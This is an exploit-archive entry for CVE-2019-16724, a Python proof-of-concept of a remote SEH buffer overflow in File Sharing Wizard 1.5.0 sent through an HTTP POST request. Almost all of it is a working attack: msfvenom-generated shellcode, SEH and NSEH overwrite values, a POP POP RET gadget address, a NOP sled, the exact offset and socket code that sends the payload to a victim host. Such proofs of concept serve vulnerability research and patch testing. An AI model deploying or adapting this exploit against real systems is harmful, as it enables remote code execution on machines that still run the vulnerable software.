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File Sharing Wizard 1.5.0 SEH Buffer Overflow

File Sharing Wizard 1.5.0 SEH Buffer Overflow
Posted Sep 24, 2019
Authored by x00pwn

File Sharing Wizard version 1.5.0 POST SEH buffer overflow exploit.

tags | exploit, overflow
advisories | CVE-2019-16724
SHA-256 | 241a76ac0e6d69be0753a743ecf0138c986af056b02442e8e5a4e9b4c2299b78

File Sharing Wizard 1.5.0 SEH Buffer Overflow

Change Mirror Download
import socket
from struct import *

# Exploit Title: File sharing wizard 'post' remote SEH overflow
# Date: 9/23/2019
# Exploit Author: x00pwn
# Software Link: https://file-sharing-wizard.soft112.com/
# Version: 1.5.0
# Tested on: Windows 7
# CVE : CVE-2019-16724

# File-sharing-wizard-seh

#----------------------------------------------#
# Bad characters: \x00 #
# SEH value: 0x909032EB (JMP short) #
# NSEH value: 0x7c38a67f (POP POP RET) #
#----------------------------------------------#

# Assigned CVE ID : CVE-2019-16724

victim_host = "10.0.0.17"
victim_port = 80

# msfvenom -p windows/exec CMD=calc.exe -b "\x00" -f python -v shellcode EXITFUNC=seh
shellcode = ""
shellcode += "\xd9\xc7\xd9\x74\x24\xf4\xba\x65\x1d\x84\xe1\x5f"
shellcode += "\x29\xc9\xb1\x31\x31\x57\x18\x03\x57\x18\x83\xef"
shellcode += "\x99\xff\x71\x1d\x89\x82\x7a\xde\x49\xe3\xf3\x3b"
shellcode += "\x78\x23\x67\x4f\x2a\x93\xe3\x1d\xc6\x58\xa1\xb5"
shellcode += "\x5d\x2c\x6e\xb9\xd6\x9b\x48\xf4\xe7\xb0\xa9\x97"
shellcode += "\x6b\xcb\xfd\x77\x52\x04\xf0\x76\x93\x79\xf9\x2b"
shellcode += "\x4c\xf5\xac\xdb\xf9\x43\x6d\x57\xb1\x42\xf5\x84"
shellcode += "\x01\x64\xd4\x1a\x1a\x3f\xf6\x9d\xcf\x4b\xbf\x85"
shellcode += "\x0c\x71\x09\x3d\xe6\x0d\x88\x97\x37\xed\x27\xd6"
shellcode += "\xf8\x1c\x39\x1e\x3e\xff\x4c\x56\x3d\x82\x56\xad"
shellcode += "\x3c\x58\xd2\x36\xe6\x2b\x44\x93\x17\xff\x13\x50"
shellcode += "\x1b\xb4\x50\x3e\x3f\x4b\xb4\x34\x3b\xc0\x3b\x9b"
shellcode += "\xca\x92\x1f\x3f\x97\x41\x01\x66\x7d\x27\x3e\x78"
shellcode += "\xde\x98\x9a\xf2\xf2\xcd\x96\x58\x98\x10\x24\xe7"
shellcode += "\xee\x13\x36\xe8\x5e\x7c\x07\x63\x31\xfb\x98\xa6"
shellcode += "\x76\xfd\x69\x7b\x62\x6a\xd0\xee\xcf\xf6\xe3\xc4"
shellcode += "\x13\x0f\x60\xed\xeb\xf4\x78\x84\xee\xb1\x3e\x74"
shellcode += "\x82\xaa\xaa\x7a\x31\xca\xfe\x18\xd4\x58\x62\xf1"
shellcode += "\x73\xd9\x01\x0d"

nseh = pack ('<I',0x909032EB) # Short jump forward 32 places into NOP sled
seh = pack('I',0x7c38a67f) # POP POP RET

# 0x7c38a67f : pop ecx # pop ecx # ret | {PAGE_EXECUTE_READ} [MSVCR71.dll]
# ASLR: False, Rebase: False, SafeSEH: False, OS: False, v7.10.6030.0 (C:\Program Files (x86)\File Sharing Wizard\bin\MSVCR71.dll)

exploit_payload = "A" * 1040
exploit_payload += nseh # JMP short
exploit_payload += seh # POPPOPRET
exploit_payload += "\x90" * 100 # NOPSLED
exploit_payload += shellcode # popping calc.exe
exploit_payload += "D" *(5000 - len(exploit_payload))

payload_header = "POST " + exploit_payload
payload_header +=" HTTP/1.0\r\n\r\n"

# overflowed SEH handler - 42386942 : [*] Exact match at offset 1044

try:
print("""
--------------------------------
CVE-2019-16724 proof of concept
File sharing wizard SEH overflow
--------------------------------
""")
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("[x] Setting up a socket connection")
expl.connect((victim_host, victim_port))
print("[x] Establishing a connection to the victim")
expl.send(payload_header)
print("[x] Sending ")
except:
print("[!] Error establishing a connection")
print("[!] Error sending exploit")
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